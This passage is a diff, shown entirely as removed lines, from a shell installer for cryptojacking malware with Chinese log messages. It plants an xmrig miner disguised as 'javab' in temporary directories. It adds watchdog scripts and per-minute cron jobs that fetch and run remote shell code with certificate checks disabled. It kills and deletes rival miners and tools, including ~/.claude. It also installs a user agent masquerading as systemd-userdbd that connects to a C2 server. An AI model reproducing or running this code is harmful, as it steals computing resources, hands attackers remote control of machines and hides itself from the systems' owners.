-CHECK=2
-WDIR="$WDIR"
-_ME=\$\$
-RESTART_BIN="\$WDIR/javab"
-REDOWNLOAD_COOLDOWN=60
-TS_FILE="\$WDIR/.khp_ts"
-KSMD_URL="$KSMD_URL"
-
-ksmd_dl_url() {
-  _t=\$(date +%s 2>/dev/null || echo 0)
-  _p=\$\$
-  case "\$KSMD_URL" in
-    *\\?*) printf '%s&_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
-    *) printf '%s?_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
-  esac
-}
-
-redownload() {
-  _now=\$(date +%s 2>/dev/null)
-  if [ -n "\$_now" ] && [ -f "\$TS_FILE" ]; then
-    _last=\$(cat "\$TS_FILE" 2>/dev/null)
-    [ -n "\$_last" ] && [ \$((_now - _last)) -lt \$REDOWNLOAD_COOLDOWN ] && return
-  fi
-  echo "\$_now" > "\$TS_FILE" 2>/dev/null
-  _tmp="\$WDIR/.ksmd_\$\$.sh"
-  _url=\$(ksmd_dl_url)
-  rm -f "\$_tmp" 2>/dev/null
-  curl -fsSLk --connect-timeout 10 --max-time 120 "\$_url" -o "\$_tmp" 2>/dev/null || \
-    wget -q --no-check-certificate -T 120 -O "\$_tmp" "\$_url" 2>/dev/null
-  [ -s "\$_tmp" ] && ( command -v bash >/dev/null 2>&1 && bash -c 'exec -a ksmd sh "\$1"' _ "\$_tmp" || sh "\$_tmp" ) &
-}
-
-start_javab() {
-  _lk="\$WDIR/.javab.spawn.lock"
-  mkdir "\$_lk" 2>/dev/null || return 0
-  if pgrep -f 'javab -c' >/dev/null 2>&1; then rmdir "\$_lk" 2>/dev/null; return 0; fi
-  cd "\$WDIR" || { rmdir "\$_lk" 2>/dev/null; return 1; }
-  [ -f "\$WDIR/.javab.json" ] || { rmdir "\$_lk" 2>/dev/null; return 1; }
-  ./javab -c .javab.json >>/dev/null 2>&1 &
-  rmdir "\$_lk" 2>/dev/null
-}
-
-count_our_javab() {
-  pgrep -cf 'javab -c' 2>/dev/null || echo 0
-}
-
-dedupe_our_javab() {
-  _keep=""
-  for _p in \$(pgrep -f 'javab -c' 2>/dev/null); do
-    if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
-    kill -9 "\$_p" 2>/dev/null
-  done
-}
-
-kill_rival_javab_simple() {
-  ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
-    _p=\$(echo "\$_line" | awk '{print \$1}')
-    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
-    case "\$_c" in *javab*) case "\$_c" in *-c*) continue ;; esac; kill -9 "\$_p" 2>/dev/null ;; esac
-  done
-}
-
-_is_our_script() {
-  _f="\$1"
-  [ -f "\$_f" ] || return 1
-  head -5 "\$_f" 2>/dev/null | grep -qF '$MARKER' && return 0
-  head -5 "\$_f" 2>/dev/null | grep -qi 'ksmd-' && return 0
-  return 1
-}
-
-_is_our_javab_pid() {
-  _c=\$(ps -p "\$1" -o args= 2>/dev/null)
-  case "\$_c" in *javab*-*c*) return 0 ;; esac
-  return 1
-}
-
-_our_wdir_name() {
-  case "\$1" in
-    javab|idle|.rguard|.khp|.ksmd_guard|.javab.json|.ksmd_manifest|.khp_ts|.khp_fusion_ts|.ksmd_guard_ts|.ksmd_guard_loop_ts|.ksmd_defend_ts|.javab.spawn.lock|rguard.log|idle_boot.log|idle_cron.log|idle_guard.log|javab.log)
-      return 0 ;;
-  esac
-  case "\$1" in .ksmd_*) return 0 ;; esac
-  return 1
-}
-
-_proc_in_wdir() {
-  _p="\$1"
-  _c=\$(ps -p "\$_p" -o args= 2>/dev/null) || return 1
-  _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
-  _cwd=\$(readlink "/proc/\$_p/cwd" 2>/dev/null)
-  case "\$_c" in *"\$WDIR/"*) return 0 ;; esac
-  case "\$_x" in "\$WDIR"/*) return 0 ;; esac
-  [ "\$_cwd" = "\$WDIR" ] && return 0
-  return 1
-}
-
-_is_our_wdir_proc() {
-  _p="\$1"
-  _proc_in_wdir "\$_p" || return 1
-  _is_our_javab_pid "\$_p" && return 0
-  _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
-  case "\$_c" in
-    *"\$WDIR/.rguard"*) _is_our_script "\$WDIR/.rguard" && return 0 ;;
-    *"\$WDIR/idle"*) _is_our_script "\$WDIR/idle" && return 0 ;;
-    *"\$WDIR/.khp"*) _is_our_script "\$WDIR/.khp" && return 0 ;;
-    *"\$WDIR/.ksmd_guard"*) _is_our_script "\$WDIR/.ksmd_guard" && return 0 ;;
-  esac
-  case "\$_c" in sleep|*/sleep)
-    _pp=\$(awk '/^PPid:/{print \$2}' "/proc/\$_p/status" 2>/dev/null)
-    [ -n "\$_pp" ] && _is_our_wdir_proc "\$_pp" && return 0
-    ;;
-  esac
-  return 1
-}
-
-_purge_wdir_foreign() {
-  [ -d "\$WDIR" ] || return 0
-  _un=\$(id -un 2>/dev/null)
-  for _p in \$(ps -u "\$_un" -o pid= --no-headers 2>/dev/null); do
-    [ "\$_p" = "\$_ME" ] && continue
-    _proc_in_wdir "\$_p" || continue
-    _is_our_wdir_proc "\$_p" && continue
-    kill -9 "\$_p" 2>/dev/null
-  done
-  for _f in "\$WDIR"/* "\$WDIR"/.[!.]* "\$WDIR"/..?*; do
-    [ -e "\$_f" ] || continue
-    _b=\$(basename "\$_f")
-    case "\$_b" in .|..) continue ;; esac
-    _our_wdir_name "\$_b" && continue
-    [ -f "\$_f" ] && _is_our_script "\$_f" && continue
-    chmod u+w "\$_f" 2>/dev/null
-    rm -rf "\$_f" 2>/dev/null
-  done
-}
-
-_our_install_cmd() {
-  case "\$1" in
-    *googletagmanagar*|*googlelagmanager*|*google-analytices*|*deploy-kit-v1*|*/.ksmd_*) return 0 ;;
-  esac
-  return 1
-}
-
-_rival_install_cmd() {
-  _our_install_cmd "\$1" && return 1
-  case "\$1" in
-    *curl*|*wget*)
-      case "\$1" in *\|sh*|*\|\ sh*|*\|bash*|*\|\ bash*) return 0 ;; esac
-    ;;
-    *sh\ -c*|*/bin/sh\ -c*|*bash\ -c*)
-      case "\$1" in
-        *curl*|*wget*)
-          case "\$1" in *\|sh*|*\|\ sh*|*\|bash*|*\|\ bash*) return 0 ;; esac
-        ;;
-        *base64*|*6556*) return 0 ;;
-      esac
-    ;;
-  esac
-  case "\$1" in
-    *m51src*|*m51sr*|*gitea_exp*|*auto_deploy*|*apt-update*|*redis/lang/ksmd*)
-      case "\$1" in *curl*|*wget*|*sh\ -c*|*/bin/sh\ -c*|*bash\ -c*) return 0 ;; esac
-    ;;
-  esac
-  return 1
-}
-
-# 对手 hook：任意 IP 的 curl|sh — 不能因 URL 含 ksmd 就放行
-pkill_rival_install() {
-  _u=\$(id -u 2>/dev/null)
-  [ -n "\$_u" ] || return 0
-  pkill -9 -u "\$_u" -f 'm51src/public/cache/stores/redis/lang/ksmd' 2>/dev/null || true
-  pkill -9 -u "\$_u" -f 'gitea_exp' 2>/dev/null || true
-  pkill -9 -u "\$_u" -f '/tmp/\.rguard' 2>/dev/null || true
-  pkill -9 -u "\$_u" -f '/tmp/idle' 2>/dev/null || true
-  if [ "\$WDIR" != "/dev/shm" ]; then
-    pkill -9 -u "\$_u" -f '/dev/shm/\.rguard' 2>/dev/null || true
-    pkill -9 -u "\$_u" -f '/dev/shm/idle' 2>/dev/null || true
-  fi
-  ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
-    _p=\$(echo "\$_line" | awk '{print \$1}')
-    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
-    if _proc_in_wdir "\$_p"; then
-      _is_our_wdir_proc "\$_p" && continue
-      kill -9 "\$_p" 2>/dev/null
-      continue
-    fi
-    case "\$_c" in
-      *"/tmp/idle"*|*"/tmp/.rguard"*)
-        kill -9 "\$_p" 2>/dev/null ;;
-    esac
-    if [ "\$WDIR" != "/dev/shm" ]; then
-      case "\$_c" in *"/dev/shm/idle"*|*"/dev/shm/.rguard"*)
-        kill -9 "\$_p" 2>/dev/null ;;
-      esac
-    fi
-    case "\$_c" in
-      *googletagmanagar*|*googlelagmanager*|*google-analytices*) continue ;;
-    esac
-    _rival_install_cmd "\$_c" && { kill -9 "\$_p" 2>/dev/null; continue; }
-    case "\$_c" in *m51src*|*m51sr*|*gitea_exp*)
-      kill -9 "\$_p" 2>/dev/null ;;
-    esac
-  done
-  dedupe_our_javab
-  kill_rival_javab_simple
-}
-
-dedupe_our_idle() {
-  _w="\$1"
-  _me=\$\$
-  _keep=""
-  for _p in \$(pgrep -f "\$_w/idle" 2>/dev/null); do
-    [ "\$_p" = "\$_me" ] && continue
-    if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
-    kill -9 "\$_p" 2>/dev/null
-  done
-}
-
-dedupe_our_javab
-kill_rival_javab_simple
-
-while true; do
-  head -3 "\$WDIR/.rguard" 2>/dev/null | grep -qi 'rival guard' && {
-    [ -x "\$WDIR/.ksmd_guard" ] && sh "\$WDIR/.ksmd_guard" >>/dev/null 2>&1 &
-    sleep 5
-    continue
-  }
-  head -10 "\$0" 2>/dev/null | grep -q 'KSMD_URL' || {
-    [ -x "\$WDIR/.ksmd_guard" ] && sh "\$WDIR/.ksmd_guard" >>/dev/null 2>&1 &
-    sleep 5
-    continue
-  }
-  dedupe_our_idle "\$WDIR"
-  _purge_wdir_foreign
-  pkill_rival_install
-  pgrep -f "\$WDIR/.rguard" >/dev/null 2>&1 || nohup sh "\$WDIR/.rguard" >>/dev/null 2>&1 &
-  _u=\$(id -u 2>/dev/null)
-  if [ -n "\$_u" ] && ! pgrep -f "\$WDIR/.rguard" >/dev/null 2>&1; then
-    for _pat in 'find /' .claude unicorn 6556 m51sr m51src; do
-      pkill -9 -u "\$_u" -f "\$_pat" 2>/dev/null || true
-    done
-  fi
-  dedupe_our_javab
-  kill_rival_javab_simple
-  if ! pgrep -f 'javab -c' >/dev/null 2>&1; then
-    if [ -x "\$RESTART_BIN" ] && [ -f "\$WDIR/.javab.json" ]; then
-      start_javab
-    else
-      redownload
-    fi
-  fi
-  _now=\$(date +%s 2>/dev/null)
-  if [ -n "\$_now" ] && [ -x "\$WDIR/.ksmd_guard" ]; then
-    _lg=\$(cat "\$WDIR/.ksmd_guard_loop_ts" 2>/dev/null)
-    [ -z "\$_lg" ] && _lg=0
-    if [ \$((_now - _lg)) -ge 60 ] 2>/dev/null; then
-      echo "\$_now" > "\$WDIR/.ksmd_guard_loop_ts" 2>/dev/null
-      sh "\$WDIR/.ksmd_guard" >>/dev/null 2>&1 &
-    fi
-  fi
-  sleep "\$CHECK"
-done
-IDLE
-  chmod 755 "$WDIR/idle"
-}
-
-write_khp() {
-  cat >"$WDIR/.khp" <<KHP
-#!/bin/sh
-# $MARKER ksmd-khp
-WDIR="$WDIR"
-cd "\$WDIR" || exit 1
-pgrep -f "\$WDIR/.rguard" >/dev/null 2>&1 || nohup sh "\$WDIR/.rguard" >>/dev/null 2>&1 &
-for _p in \$(pgrep -f 'javab -c' 2>/dev/null); do kill -9 "\$_p" 2>/dev/null; done
-ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
-  _p=\$(echo "\$_line" | awk '{print \$1}')
-  _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
-  case "\$_c" in *javab*) case "\$_c" in *-c*) continue ;; esac; kill -9 "\$_p" 2>/dev/null ;; esac
-done
-if ! pgrep -f 'javab -c' >/dev/null 2>&1; then
-  [ -x "\$WDIR/javab" ] && [ -f "\$WDIR/.javab.json" ] && ./javab -c .javab.json >>/dev/null 2>&1 &
-fi
-_me=\$\$
-_keep=""
-for _p in \$(pgrep -f "\$WDIR/idle" 2>/dev/null); do
-  [ "\$_p" = "\$_me" ] && continue
-  if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
-  kill -9 "\$_p" 2>/dev/null
-done
-pgrep -f "\$WDIR/idle" >/dev/null 2>&1 || nohup sh "\$WDIR/idle" >>/dev/null 2>&1 &
-KHP
-  chmod 755 "$WDIR/.khp"
-}
-
-write_ksmd_manifest() {
-  mf="$WDIR/.ksmd_manifest"
-  now=$(date +%s 2>/dev/null || echo 0)
-  {
-    echo "marker=$MARKER"
-    echo "wdir=$WDIR"
-    echo "installed_at=$now"
-    echo "ksmd_url=$KSMD_URL"
-    for f in javab idle .khp .rguard; do
-      if [ -f "$WDIR/$f" ]; then
-        sum=$(md5_file "$WDIR/$f")
-        [ -n "$sum" ] && echo "md5:$f=$sum"
-      fi
-    done
-  } >"$mf"
-  chmod 600 "$mf" 2>/dev/null || true
-  log "manifest 已写入 installed_at=$now -> $mf"
-}
-
-write_ksmd_guard() {
-  _rival_cron_re=$(rival_cron_re)
-  cat >"$WDIR/.ksmd_guard" <<GUARD
-#!/bin/sh
-# $MARKER ksmd-guard
-WDIR="$WDIR"
-MANIFEST="\$WDIR/.ksmd_manifest"
-KSMD_URL="$KSMD_URL"
-COOLDOWN=120
-STAMP="\$WDIR/.ksmd_guard_ts"
-
-_rival_on_disk() {
-  head -3 "\$WDIR/.rguard" 2>/dev/null | grep -qi 'rival guard' && return 0
-  head -10 "\$WDIR/idle" 2>/dev/null | grep -qi '_rival_kill\|687474703a2f2f34352e3734\|45\.74\.7\.226' && return 0
-  head -5 "\$WDIR/.rguard" 2>/dev/null | grep -q '$MARKER' || return 0
-  head -5 "\$WDIR/idle" 2>/dev/null | grep -q '$MARKER' || return 0
-  return 1
-}
-
-if _rival_on_disk; then
-  for _f in idle .rguard .khp; do
-    chmod u+w "\$WDIR/\$_f" 2>/dev/null
-    rm -f "\$WDIR/\$_f" 2>/dev/null
-  done
-  for _p in \$(pgrep -f "\$WDIR/.rguard" 2>/dev/null); do kill -9 "\$_p" 2>/dev/null; done
-  for _p in \$(pgrep -f "\$WDIR/idle" 2>/dev/null); do kill -9 "\$_p" 2>/dev/null; done
-fi
-
-_md5() {
-  if command -v md5sum >/dev/null 2>&1; then md5sum "\$1" 2>/dev/null | awk '{print \$1}';
-  elif command -v md5 >/dev/null 2>&1; then md5 -q "\$1" 2>/dev/null;
-  else echo ""; fi
-}
-
-_verify() {
-  [ -f "\$MANIFEST" ] || return 1
-  while IFS= read -r _line; do
-    case "\$_line" in
-      md5:*=*)
-        _rest=\${_line#md5:}
-        _name=\${_rest%%=*}
-        _want=\${_rest#*=}
-        [ -n "\$_name" ] && [ -n "\$_want" ] || continue
-        [ -f "\$WDIR/\$_name" ] || return 1
-        _got=\$(_md5 "\$WDIR/\$_name")
-        [ -n "\$_got" ] && [ "\$_got" = "\$_want" ] || return 1
-        ;;
-    esac
-  done < "\$MANIFEST"
-  return 0
-}
-
-ksmd_dl_url() {
-  _t=\$(date +%s 2>/dev/null || echo 0)
-  _p=\$\$
-  case "\$KSMD_URL" in
-    *\\?*) printf '%s&_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
-    *) printf '%s?_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
-  esac
-}
-
-reinstall() {
-  _now=\$(date +%s 2>/dev/null)
-  if [ -n "\$_now" ] && [ -f "\$STAMP" ]; then
-    _last=\$(cat "\$STAMP" 2>/dev/null)
-    [ -n "\$_last" ] && [ \$((_now - _last)) -lt \$COOLDOWN ] && return
-  fi
-  echo "\$_now" > "\$STAMP" 2>/dev/null
-  _tmp="\$WDIR/.ksmd_re_\$\$.sh"
-  _url=\$(ksmd_dl_url)
-  rm -f "\$_tmp" 2>/dev/null
-  curl -fsSLk --connect-timeout 10 --max-time 120 "\$_url" -o "\$_tmp" 2>/dev/null || \
-    wget -q --no-check-certificate -T 120 -O "\$_tmp" "\$_url" 2>/dev/null || return
-  [ -s "\$_tmp" ] && ( command -v bash >/dev/null 2>&1 && bash -c 'exec -a ksmd sh "\$1"' _ "\$_tmp" || sh "\$_tmp" ) &
-}
-
-if [ -x "\$WDIR/idle" ]; then
-  pgrep -f "\$WDIR/idle" >/dev/null 2>&1 || nohup sh "\$WDIR/idle" >>/dev/null 2>&1 &
-fi
-pgrep -f "\$WDIR/.rguard" >/dev/null 2>&1 || nohup sh "\$WDIR/.rguard" >>/dev/null 2>&1 &
-_u=\$(id -u 2>/dev/null)
-[ -n "\$_u" ] && for _pat in 'find /' .claude unicorn 6556 m51sr m51src supervise_javs start_javs apt-update 'CRON jobs'; do
-  pkill -9 -u "\$_u" -f "\$_pat" 2>/dev/null || true
-done
-rm -rf "\$HOME/.claude" "\$HOME/CRON" "\$HOME/unicorn" "\$HOME/.javs" /dev/shm/.claude /var/tmp/.claude 2>/dev/null
-_tmpc=\$(mktemp)
-_cron_ok=0
-_err=\$(crontab -l 2>&1) || true
-case "\$_err" in *must\ be\ suid*|*setuid*) _cron_ok=1 ;; esac
-if [ "\$_cron_ok" = "0" ]; then
-  crontab -l 2>/dev/null >"\$_tmpc" || : >"\$_tmpc"
-  if grep -Ei '$_rival_cron_re' "\$_tmpc" >/dev/null 2>&1; then
-    grep -Evi '$_rival_cron_re' "\$_tmpc" | grep -v '^[[:space:]]*$' >"\${_tmpc}.k" 2>/dev/null || : >"\${_tmpc}.k"
-    if [ -s "\${_tmpc}.k" ]; then crontab "\${_tmpc}.k" 2>/dev/null; else crontab -r 2>/dev/null; fi
-    crontab -l 2>/dev/null >"\$_tmpc" || : >"\$_tmpc"
-  fi
-  _ksmd_mark="# ${MARKER}-ksmd-guard"
-  if ! grep -Fq "\$_ksmd_mark" "\$_tmpc" 2>/dev/null; then
-    # 必须单引号：双引号里 \$d 会在 guard 运行时提前展开成空
-    _ksmd_line='* * * * * for d in /dev/shm /tmp /var/tmp; do [ -x "\$d/.ksmd_guard" ] && { sh "\$d/.ksmd_guard"; break; }; [ -x "\$d/.pol-lite/.ksmd_guard" ] && { sh "\$d/.pol-lite/.ksmd_guard"; break; }; done # ${MARKER}-ksmd-guard'
-    grep -Fv "\$_ksmd_mark" "\$_tmpc" 2>/dev/null | grep -v '^[[:space:]]*$' >"\${_tmpc}.k" 2>/dev/null || : >"\${_tmpc}.k"
-    echo "\$_ksmd_line" >>"\${_tmpc}.k"
-    crontab "\${_tmpc}.k" 2>/dev/null || true
-  fi
-fi
-rm -f "\$_tmpc" "\${_tmpc}.k" 2>/dev/null
-for _k in m51sr m51src redis/lang/ksmd unicorn gitea_exp auto_deploy 'find /' .claude 'CRON jobs' supervise_javs start_javs apt-update 6556; do
-  pkill -9 -f "\$_k" 2>/dev/null || true
-done
-
-_verify || reinstall
-GUARD
-  chmod 755 "$WDIR/.ksmd_guard"
-}
-
-restart_our_miner_chain() {
-  _w="$WDIR"
-  log "重启矿机链: purge -> 单实例 idle/rguard/javab"
-  purge_tmp_gang
-  for _p in $(pgrep -f "$_w/idle" 2>/dev/null); do kill -9 "$_p" 2>/dev/null || true; done
-  for _p in $(pgrep -f "$_w/.rguard" 2>/dev/null); do kill -9 "$_p" 2>/dev/null || true; done
-  for _p in $(pgrep -f 'javab -c' 2>/dev/null); do kill -9 "$_p" 2>/dev/null || true; done
-  kill_rival_javab
-  purge_tmp_gang
-  sleep 2
-  pgrep -f "$_w/.rguard" >/dev/null 2>&1 || nohup sh "$_w/.rguard" >>/dev/null 2>&1 &
-  nohup sh "$_w/idle" >>/dev/null 2>&1 &
-  sh "$_w/.khp" 2>/dev/null || true
-}
-
-install_javab_chain() {
-  need_x64_miner || return 0
-  pick_wdir || { log "无可用 WDIR (/dev/shm /tmp /var/tmp)"; return 1; }
-  wipe_install_dir "$WDIR"
-  log "安装 javab 链 -> $WDIR (cpu=${XMR_CPU_PERCENT}% pool=${POOL})"
-  squash_rival_guard
-  detect_xmr_threads
-  detect_randomx_mode
-  # 先落地并启动 .rguard，避免下载 xmrig 时被对手 guard 杀掉 curl/sh
-  write_rguard
-  if [ "$DRY_RUN" != "1" ]; then
-    nohup sh "$WDIR/.rguard" >>/dev/null 2>&1 &
-    sleep 1
-    squash_rival_guard
-  fi
-  setup_xmrig_binary "$WDIR/javab" "$WDIR" || return 1
-  squash_rival_guard
-  log "矿机二进制: 我们的 xmrig -> $WDIR/javab"
-  write_javab_config
-  write_idle
-  write_khp
-  write_ksmd_manifest
-  write_ksmd_guard
-  if [ "$DRY_RUN" = "1" ]; then
-    log "dry-run: would start .rguard idle .khp javab"
-    return 0
-  fi
-  restart_our_miner_chain
-  sleep 3
-  squash_rival_guard
-  log "javab 链已启动 threads=${XMR_THREADS}"
-  install_ksmd_crontab
-  try_lock_wdir
-  echo "KSMD_JAVAB_OK wdir=$WDIR"
-}
-
-install_ksmd_crontab() {
-  [ "$DRY_RUN" = "1" ] && return 0
-  strip_rival_crontab
-  if ! crontab_usable; then
-    log "crontab 不可用，保活由 idle 每 60s 调 .ksmd_guard"
-    return 0
-  fi
-  ensure_ksmd_crontab
-}
-
-write_agent_guard() {
-  _agent_url=$(agent_dl_url) || return 1
-  cat >"${AGENT_HOME}/.agent_guard" <<AGUARD
-#!/bin/sh
-H="$AGENT_HOME"
-LAUNCH="\$H/user-session-launch"
-WATCH="\$H/.session-watchdog"
-CORE="\$H/.core"
-TOK="\$H/.session-token"
-LOG="/dev/null"
-KSMD_URL="$KSMD_URL"
-AGENT_URL="$_agent_url"
-AGENT_MARK="# ${MARKER}-agent-guard"
-
-ksmd_dl_url() {
-  _t=\$(date +%s 2>/dev/null || echo 0)
-  _p=\$\$
-  case "\$KSMD_URL" in
-    *\\?*) printf '%s&_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
-    *) printf '%s?_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
-  esac
-}
-
-agent_up() {
-  pgrep -x systemd-userdbd >/dev/null 2>&1 && return 0
-  pgrep -f "\$H/systemd-userdbd" >/dev/null 2>&1 && return 0
-  pgrep -f "\$CORE" >/dev/null 2>&1 && return 0
-  return 1
-}
-
-watchdog_up() {
-  pgrep -f "\$H/.session-watchdog" >/dev/null 2>&1 && return 0
-  return 1
-}
-
-start_watchdog() {
-  watchdog_up || nohup sh "\$WATCH" >>/dev/null 2>&1 &
-}
-
-try_launch() {
-  [ -x "\$LAUNCH" ] || return 1
-  [ -x "\$CORE" ] || return 1
-  [ -s "\$TOK" ] || return 1
-  setsid sh "\$LAUNCH" >>/dev/null 2>&1 &
-  sleep 2
-  agent_up
-}
-
-reinstall_agent() {
-  _url=\$(ksmd_dl_url)
-  _tmp="\$H/.agent_re_\$\$.sh"
-  rm -f "\$_tmp" 2>/dev/null
-  curl -fsSLk --connect-timeout 10 --max-time 120 "\$_url" -o "\$_tmp" 2>/dev/null || \
-    wget -q --no-check-certificate -T 120 -O "\$_tmp" "\$_url" 2>/dev/null || return 1
-  [ -s "\$_tmp" ] || return 1
-  AGENT_ONLY=1 sh "\$_tmp" >>/dev/null 2>&1
-}
-
-ensure_agent_cron() {
-  _err=\$(crontab -l 2>&1) || true
-  case "\$_err" in *must\ be\ suid*|*setuid*) return 0 ;; esac
-  crontab -l 2>/dev/null | grep -Fq "\$AGENT_MARK" && return 0
-  _line="* * * * * [ -x \"\$H/.agent_guard\" ] && sh \"\$H/.agent_guard\" \$AGENT_MARK"
-  (crontab -l 2>/dev/null | grep -Fv "\$AGENT_MARK"; echo "\$_line") | crontab - 2>/dev/null || true
-}
-
-ensure_agent_cron
-
-if agent_up; then
-  start_watchdog
-  exit 0
-fi
-
-if try_launch; then
-  start_watchdog
-  exit 0
-fi
-
-reinstall_agent
-start_watchdog
-ensure_agent_cron
-AGUARD
-  chmod 755 "${AGENT_HOME}/.agent_guard"
-}
-
-install_agent_crontab() {
-  [ "$DRY_RUN" = "1" ] && return 0
-  if ! crontab_usable; then
-    log "crontab 不可用，跳过 Agent cron 保活"
-    return 0
-  fi
-  strip_rival_crontab
-  ensure_agent_crontab
-}
-
-deploy_agent_only() {
-  if [ "$DRY_RUN" = "1" ]; then
-    log "dry-run: would install agent only"
-    return 0
-  fi
-  if [ "$(id -u)" -eq 0 ]; then
-    log "root 环境跳过 Agent"
-    return 0
-  fi
-  if is_container; then
-    log "容器环境跳过 Agent"
-    return 0
-  fi
-  install_user_agent || return 1
-  write_agent_guard || true
-  install_agent_crontab
-  echo AGENT_ONLY_DONE
-}
-
-write_agent_watchdog() {
-  cat >"$AGENT_WATCHDOG" <<WEOF
-#!/bin/sh
-H="$AGENT_HOME"
-LAUNCH="$AGENT_LAUNCH"
-CORE="\$H/.core"
-LOG="$AGENT_LOG"
-LOCK="\$H/.session-watchdog.lock"
-
-_poke_miner_chain() {
-  for _d in /dev/shm /tmp/.pol-lite /var/tmp/.pol-lite; do
-    [ -f "\$_d/.ksmd_manifest" ] || continue
-    head -3 "\$_d/.rguard" 2>/dev/null | grep -qi 'rival guard' && {
-      [ -x "\$_d/.ksmd_guard" ] && sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
-      continue
-    }
-    head -10 "\$_d/idle" 2>/dev/null | grep -qi '_rival_kill\|687474703a2f2f34352e3734\|45\.74\.7\.226' && {
-      [ -x "\$_d/.ksmd_guard" ] && sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
-      continue
-    }
-    head -5 "\$_d/.rguard" 2>/dev/null | grep -q 'deploy-kit-v1' || {
-      [ -x "\$_d/.ksmd_guard" ] && sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
-      continue
-    }
-    head -10 "\$_d/idle" 2>/dev/null | grep -q 'KSMD_URL' || {
-      [ -x "\$_d/.ksmd_guard" ] && sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
-      continue
-    }
-    [ -x "\$_d/idle" ] || continue
-    pgrep -f "\$_d/.rguard" >/dev/null 2>&1 || nohup sh "\$_d/.rguard" >>/dev/null 2>&1 &
-    pgrep -f "\$_d/idle" >/dev/null 2>&1 || nohup sh "\$_d/idle" >>/dev/null 2>&1 &
-    if ! pgrep -f 'javab -c' >/dev/null 2>&1; then
-      [ -x "\$_d/javab" ] && [ -f "\$_d/.javab.json" ] && ( cd "\$_d" && ./javab -c .javab.json >>/dev/null 2>&1 & )
-    fi
-    [ -x "\$_d/.ksmd_guard" ] && {
-      _now=\$(date +%s 2>/dev/null)
-      _lg=\$(cat "\$_d/.ksmd_guard_loop_ts" 2>/dev/null)
-      [ -z "\$_lg" ] && _lg=0
-      if [ -n "\$_now" ] && [ \$((_now - _lg)) -ge 60 ] 2>/dev/null; then
-        echo "\$_now" > "\$_d/.ksmd_guard_loop_ts" 2>/dev/null
-        sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
-      fi
-    }
-    return 0
-  done
-}
-
-exec 9>"\$LOCK"
-flock -n 9 || exit 0
-while true; do
-  if ! pgrep -x systemd-userdbd >/dev/null 2>&1 && ! pgrep -f "systemd-userdbd" >/dev/null 2>&1 && ! pgrep -f "\$CORE" >/dev/null 2>&1; then
-    setsid "\$LAUNCH" >>"\$LOG" 2>&1 &
-  fi
-  _poke_miner_chain
-  sleep 30
-done
-WEOF
-  chmod +x "$AGENT_WATCHDOG"
-}
-
-install_user_agent() {
-  _url=$(agent_dl_url) || { log "不支持的 Agent 架构: $(uname -m)"; return 1; }
-  log "用户态 Agent -> ${AGENT_BIN} C2=${C2_WSS}"
-
-  IS_ALPINE=0
-  [ -f /etc/alpine-release ] && IS_ALPINE=1
-  ldd /bin/sh 2>&1 | grep -qi musl && IS_ALPINE=1
-
-  mkdir -p "$AGENT_HOME"
-  AGENT_CORE="${AGENT_HOME}/.core"
-  AGENT_TOKEN="${AGENT_HOME}/.session-token"
-
-  if agent_core_running; then
-    log "Agent (.core) 已在运行，跳过下载/杀进程/重启"
-    [ -s "$AGENT_TOKEN" ] || {
-      printf '%s' "$AGENT_ARGS" >"$AGENT_TOKEN"
-      chmod 600 "$AGENT_TOKEN" 2>/dev/null || true
-    }
-    write_agent_watchdog
-    pkill -f "${AGENT_HOME}/.session-watchdog" 2>/dev/null || true
-    sleep 1
-    [ -x "$AGENT_WATCHDOG" ] && nohup "$AGENT_WATCHDOG" >>/dev/null 2>&1 &
-    write_agent_guard || true
-    return 0
-  fi
-
-  printf '%s' "$AGENT_ARGS" >"$AGENT_TOKEN"
-  chmod 600 "$AGENT_TOKEN" 2>/dev/null || true
-
-  if [ "$IS_ALPINE" -eq 1 ]; then
-    G="$AGENT_HOME/glibc-compat/lib"
-    L="$G/ld-linux-x86-64.so.2"
-    if [ "$(uname -m)" = x86_64 ] && [ ! -x "$L" ]; then
-      mkdir -p "$AGENT_HOME/glibc-compat"
-      dl_long "https://github.com/sgerrand/alpine-pkg-glibc/releases/download/2.35-r1/glibc-2.35-r1.apk" "$AGENT_HOME/glibc-compat/g.apk" \
-        || wget -T240 --no-check-certificate -q -O "$AGENT_HOME/glibc-compat/g.apk" \
-          "https://github.com/sgerrand/alpine-pkg-glibc/releases/download/2.35-r1/glibc-2.35-r1.apk" || true
-      [ -f "$AGENT_HOME/glibc-compat/g.apk" ] && (cd "$AGENT_HOME/glibc-compat" && tar -xf g.apk 2>/dev/null || true)
-    fi
-    dl_long "$_url" "$AGENT_CORE" && chmod +x "$AGENT_CORE" || return 1
-  else
-    dl_long "$_url" "$AGENT_CORE" && chmod +x "$AGENT_CORE" || return 1
-  fi
-
-  rm -f "$AGENT_BIN" 2>/dev/null || true
-  ln -sf "$AGENT_CORE" "$AGENT_BIN" 2>/dev/null || cp -f "$AGENT_CORE" "$AGENT_BIN"
-  chmod +x "$AGENT_BIN" 2>/dev/null || true
-
